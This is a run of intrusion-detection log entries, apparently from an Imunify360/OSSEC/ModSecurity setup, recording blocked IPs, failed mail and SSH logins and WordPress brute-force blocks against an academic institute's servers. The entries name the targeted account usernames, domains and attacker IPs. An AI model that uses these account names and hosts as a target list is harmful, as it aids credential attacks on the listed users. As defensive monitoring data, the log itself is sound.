Feb  7 16:25:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.130.181.74
country_id: 1210997
description:
Feb  7 16:25:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.130.181.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.47.20.229
country_id: 1861060
description:
Feb  7 16:25:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.47.20.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.70.9.114
country_id: 1814991
description:
Feb  7 16:24:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.70.9.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.41.171
country_id: 1819730
description:
Feb  7 16:24:41 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.41.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.55.85.202
country_id: 337996
description:
Feb  7 16:24:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.55.85.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.115.168.106
country_id: 1814991
description:
Feb  7 16:24:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.115.168.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.88.152
country_id: 294640
description:
2025-02-07 16:25:16 dovecot_plain authenticator failed for (2-55-88-152.orange.net.il) [2.55.88.152]:47211: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.25
country_id: 1819730
description:
Feb  7 16:25:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.25
country_id: 1819730
description:
2025-02-07 16:25:38 dovecot_login authenticator failed for (m121-202-154-25.smartone.com) [121.202.154.25]:54292: 535 Incorrect authentication data (set_id=oudoc)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 185.219.84.241
country_id: 2921044
domain: gvu.titopen.us
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-25.185.219.84.241||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.103.115.54
country_id: 1814991
description:
Feb  7 16:26:50 ait sshd[1895075]: pam_imunify(sshd:auth): [IM360_RBL] The IP 14.103.115.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.213.57.49
country_id: 1835841
description:
2025-02-07 16:26:51 dovecot_login authenticator failed for ([182.213.57.49]) [182.213.57.49]:42199: 535 Incorrect authentication data (set_id=info@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.213.57.49
country_id: 1835841
description:
Feb  7 16:26:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.213.57.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.95.161.26
country_id: 1814991
description:
Feb  7 16:27:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.95.161.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.158.19.6
country_id: 1512440
description:
2025-02-07 16:27:17 dovecot_plain authenticator failed for ([195.158.19.6]) [195.158.19.6]:36404: 535 Incorrect authentication data (set_id=ads20b00297y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 14.103.115.54
country_id: 1814991
description:
Feb  7 16:26:50 ait sshd[1895075]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.103.115.54


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.95.161.26
country_id: 1814991
description:
2025-02-07 16:27:08 dovecot_plain authenticator failed for ([223.95.161.26]) [223.95.161.26]:55640: 535 Incorrect authentication data (set_id=ads20b00297y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.158.19.6
country_id: 1512440
description:
Feb  7 16:27:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.158.19.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.7.180.143
country_id: 1861060
description:
2025-02-07 16:27:23 dovecot_login authenticator failed for ([180.7.180.143]) [180.7.180.143]:52874: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.182.171
country_id: 1835841
description:
Feb  7 16:27:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.182.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.182.171
country_id: 1835841
description:
2025-02-07 16:27:29 dovecot_plain authenticator failed for ([220.77.182.171]) [220.77.182.171]:54986: 535 Incorrect authentication data (set_id=laryea@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.33.109.90
country_id: 1814991
description:
2025-02-07 16:27:36 dovecot_plain authenticator failed for (90.109.33.58.broad.xw.sh.dynamic.163data.com.cn) [58.33.109.90]:50974: 535 Incorrect authentication data (set_id=eng27b00340y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.220.132.207
country_id: 2077456
description:
2025-02-07 16:27:45 dovecot_plain authenticator failed for 207.132.220.111.sta.wbroadband.net.au [111.220.132.207]:55650: 535 Incorrect authentication data (set_id=laryea)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.176.123.33
country_id: 1814991
description:
2025-02-07 16:27:51 dovecot_plain authenticator failed for ([117.176.123.33]) [117.176.123.33]:60244: 535 Incorrect authentication data (set_id=eng27b00340y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.221.101
country_id: 6251999
description:
2025-02-07 16:27:27 dovecot_login authenticator failed for ([207.219.221.101]) [207.219.221.101]:43696: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.176.123.33
country_id: 1814991
description:
Feb  7 16:27:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.176.123.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.220.132.207
country_id: 2077456
description:
Feb  7 16:27:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.220.132.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.219.221.101
country_id: 6251999
description:
Feb  7 16:27:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.219.221.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.33.109.90
country_id: 1814991
description:
Feb  7 16:27:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.33.109.90 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.86.121.143
country_id: 690791
description:
[2025-02-07 16:28:05 +0100] info [webmaild] 212.86.121.143 - info@lemsas.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.116.95.48
country_id: 1880251
description:
Feb  7 16:28:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.116.95.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.62.59.2
country_id: 6252001
description:
2025-02-07 16:28:50 dovecot_login authenticator failed for syn-074-062-059-002.biz.spectrum.com [74.62.59.2]:35201: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.145.171.159
country_id: 51537
description:
2025-02-07 16:29:14 dovecot_login authenticator failed for ([192.145.171.159]) [192.145.171.159]:39890: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.116.95.48
country_id: 1880251
description:
2025-02-07 16:28:36 dovecot_login authenticator failed for ([203.116.95.48]) [203.116.95.48]:37394: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.62.59.2
country_id: 6252001
description:
Feb  7 16:28:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.62.59.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 16:29:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.40.234
country_id: 1880251
description:
47.128.40.234 - - [07/Feb/2025:16:29:22 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9178390 HTTP/2.0" 302 0 udesk.ait-ext.com "https://udesk.ait-ext.com/_profiler/4011ef?panel=request" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.40.234


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.171.159
country_id: 51537
description:
Feb  7 16:29:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.171.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.232.193.44
country_id: 3469034
description:
Feb  7 16:29:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.232.193.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.31.8.202
country_id: 1210997
description:
2025-02-07 16:29:34 dovecot_login authenticator failed for (113-11-34-221-smile.com.bd) [114.31.8.202]:34116: 535 Incorrect authentication data (set_id=info@aitvarsity.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.70.227.203
country_id: 1562822
description:
2025-02-07 16:29:57 dovecot_plain authenticator failed for ([118.70.227.203]) [118.70.227.203]:33900: 535 Incorrect authentication data (set_id=ads30b00480y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.232.193.44
country_id: 3469034
description:
2025-02-07 16:29:27 dovecot_login authenticator failed for (186-232-193-44.PROXXIMA.NET) [186.232.193.44]:49883: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.31.8.202
country_id: 1210997
description:
Feb  7 16:29:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.31.8.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.0.111.113
country_id: 1814991
description:
Feb  7 16:29:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.0.111.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.0.111.113
country_id: 1814991
description:
2025-02-07 16:29:49 dovecot_login authenticator failed for ([221.0.111.113]) [221.0.111.113]:38275: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 16:29:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.159.71.249
country_id: 1835841
description:
Feb  7 16:29:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.159.71.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2025-02-07 16:29:45 dovecot_plain authenticator failed for ([121.159.71.249]) [121.159.71.249]:35594: 535 Incorrect authentication data (set_id=ads30b00480y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.70.227.203
country_id: 1562822
description:
Feb  7 16:29:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.70.227.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.11.169.7
country_id: 1880251
description:
Feb  7 16:30:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.11.169.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.11.169.7
country_id: 1880251
description:
2025-02-07 16:30:05 dovecot_plain authenticator failed for (122.11.169-7.unknown.starhub.net.sg) [122.11.169.7]:4986: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.134.126.162
country_id: 6252001
description:
Feb  7 16:30:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.134.126.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.236.130.182
country_id: 1814991
description:
Feb  7 16:30:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.236.130.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.24.37.2
country_id: 953987
description:
Feb  7 16:31:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.24.37.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.24.37.2
country_id: 953987
description:
2025-02-07 16:31:02 dovecot_plain authenticator failed for ([196.24.37.2]) [196.24.37.2]:50936: 535 Incorrect authentication data (set_id=sates1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.152.28
country_id: 3469034
description:
Feb  7 16:30:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.152.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.130.182
country_id: 1814991
description:
2025-02-07 16:31:00 dovecot_plain authenticator failed for ([183.236.130.182]) [183.236.130.182]:51820: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.103.115.54
country_id: 1814991
description:
Feb  7 16:31:19 ait sshd[1897252]: pam_imunify(sshd:auth): [IM360_RBL] The IP 14.103.115.54 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 14.103.115.54
country_id: 1814991
description:
Feb  7 16:31:19 ait sshd[1897252]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.103.115.54


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.152.28
country_id: 3469034
description:
2025-02-07 16:30:32 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.152.28]:37868: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.123.78.13
country_id: 2017370
description:
Feb  7 16:30:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.123.78.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.123.78.13
country_id: 2017370
description:
2025-02-07 16:30:41 dovecot_plain authenticator failed for (12-78-123-185.host.cirex.ru) [185.123.78.13]:46124: 535 Incorrect authentication data (set_id=sates1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.134.126.162
country_id: 6252001
description:
2025-02-07 16:30:45 dovecot_plain authenticator failed for c-73-134-126-162.hsd1.md.comcast.net [73.134.126.162]:4230: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.163.122.133
country_id: 1210997
description:
2025-02-07 16:31:09 dovecot_plain authenticator failed for ([182.163.122.133]) [182.163.122.133]:19797: 535 Incorrect authentication data (set_id=ads80a99909y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.163.122.133
country_id: 1210997
description:
Feb  7 16:31:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.163.122.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.107.168.206
country_id: 1269750
description:
Feb  7 16:31:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.107.168.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.107.168.206
country_id: 1269750
description:
2025-02-07 16:31:23 dovecot_plain authenticator failed for (static-206.168.107.27-tataidc.co.in) [27.107.168.206]:47144: 535 Incorrect authentication data (set_id=ads80a99909y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.254.67
country_id: 1835841
description:
2025-02-07 16:31:37 dovecot_login authenticator failed for ([183.108.254.67]) [183.108.254.67]:36152: 535 Incorrect authentication data (set_id=info@ait-edu.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.221.2.199
country_id: 1814991
description:
Feb  7 16:31:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.221.2.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.212.153.73
country_id: 1880251
description:
2025-02-07 16:32:16 dovecot_plain authenticator failed for (73.153.212.218.starhub.net.sg) [218.212.153.73]:44092: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 14.103.115.54
country_id: 1814991
description:
Feb  7 16:31:33 ait sshd[1897252]: Disconnected from invalid user user1 14.103.115.54 port 34674 [preauth]


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 204.10.194.36
country_id: 2921044
domain: www.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:gchikpah||WPU:gchikpah||RSV:6.65||T:APACHE||MV:16-31.204.10.194.36


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.37.174.248
country_id: 2017370
description:
Feb  7 16:31:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.37.174.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.174.248
country_id: 2017370
description:
2025-02-07 16:31:59 dovecot_plain authenticator failed for broadband-77-37-174-248.ip.moscow.rt.ru [77.37.174.248]:60486: 535 Incorrect authentication data (set_id=eng17b00236y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.7.26.195
country_id: 1880251
description:
Feb  7 16:32:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.7.26.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.7.26.195
country_id: 1880251
description:
2025-02-07 16:32:11 dovecot_plain authenticator failed for bb121-7-26-195.singnet.com.sg [121.7.26.195]:43202: 535 Incorrect authentication data (set_id=eng17b00236y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.44.170.154
country_id: 1835841
description:
Feb  7 16:31:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.44.170.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.44.170.154
country_id: 1835841
description:
2025-02-07 16:31:47 dovecot_login authenticator failed for ([211.44.170.154]) [211.44.170.154]:35894: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.62.184.137
country_id: 1814991
description:
Feb  7 16:32:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.62.184.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.108.254.67
country_id: 1835841
description:
Feb  7 16:31:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.108.254.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.254.225.100
country_id: 2017370
description:
Feb  7 16:31:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.254.225.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.254.225.100
country_id: 2017370
description:
2025-02-07 16:31:39 dovecot_plain authenticator failed for 100.225.254.193.infosys.su [193.254.225.100]:48141: 535 Incorrect authentication data (set_id=tsikpo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.221.2.199
country_id: 1814991
description:
2025-02-07 16:31:57 dovecot_plain authenticator failed for ([114.221.2.199]) [114.221.2.199]:35729: 535 Incorrect authentication data (set_id=tsikpo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.212.153.73
country_id: 1880251
description:
Feb  7 16:32:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.212.153.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.62.184.137
country_id: 1814991
description:
2025-02-07 16:32:21 dovecot_plain authenticator failed for ([119.62.184.137]) [119.62.184.137]:35011: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.42.227
country_id: 1819730
description:
Feb  7 16:32:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.42.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.38.70.172
country_id: 1168579
description:
2025-02-07 16:33:17 dovecot_plain authenticator failed for ([180.149.214.193]) [110.38.70.172]:41848: 535 Incorrect authentication data (set_id=ads06a99959y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.153.62.100
country_id: 2264397
description:
Feb  7 16:32:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.153.62.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.227
country_id: 1819730
description:
2025-02-07 16:32:45 dovecot_plain authenticator failed for 227.42.246.220.static.netvigator.com [220.246.42.227]:59712: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.38.70.172
country_id: 1168579
description:
Feb  7 16:33:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.38.70.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.249.78.68
country_id: 1668284
description:
2025-02-07 16:32:36 dovecot_plain authenticator failed for 60-249-78-68.hinet-ip.hinet.net [60.249.78.68]:53966: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.88.228.202
country_id: 1835841
description:
Feb  7 16:33:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.88.228.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.88.228.202
country_id: 1835841
description:
2025-02-07 16:33:02 dovecot_plain authenticator failed for ([14.88.228.202]) [14.88.228.202]:60436: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
country_id: 732800
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:16-33.80.76.51.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.42.163.252
country_id: 660013
description:
Feb  7 16:33:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.42.163.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.42.163.252
country_id: 660013
description:
2025-02-07 16:33:24 dovecot_plain authenticator failed for ([185.42.163.252]) [185.42.163.252]:40898: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.249.78.68
country_id: 1668284
description:
Feb  7 16:32:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.249.78.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.62.100
country_id: 2264397
description:
2025-02-07 16:32:36 dovecot_plain authenticator failed for a89-153-62-100.cpe.netcabo.pt [89.153.62.100]:58040: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.78.178
country_id: 1512440
description:
[2025-02-07 16:34:14 +0100] info [webmaild] 84.54.78.178 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 162.214.201.195
country_id: 6252001
description:
Feb  7 16:33:39 ait sshd[1898469]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=162.214.201.195  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.75.194.34
country_id: 1880251
description:
Feb  7 16:33:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.75.194.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.199.59.240
country_id: 798544
description:
2025-02-07 16:33:52 dovecot_login authenticator failed for (ADMIN) [138.199.59.240]:46822: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
country_id: 2077456
description:
Feb  7 16:34:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 63.41.161.202
country_id: 6252001
description:
Feb  7 16:33:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 63.41.161.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.214.201.195
country_id: 6252001
description:
Feb  7 16:33:39 ait sshd[1898469]: pam_imunify(sshd:auth): [IM360_RBL] The IP 162.214.201.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.75.194.34
country_id: 1880251
description:
2025-02-07 16:33:54 dovecot_plain authenticator failed for (34.194.75.138.unknown.m1.com.sg) [138.75.194.34]:53220: 535 Incorrect authentication data (set_id=ads17b00155y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.172.213.166
country_id: 1605651
description:
Feb  7 16:33:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.172.213.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2025-02-07 16:33:58 dovecot_login authenticator failed for ([203.172.213.166]) [203.172.213.166]:40245: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.167.58.9
country_id: 617790
description:
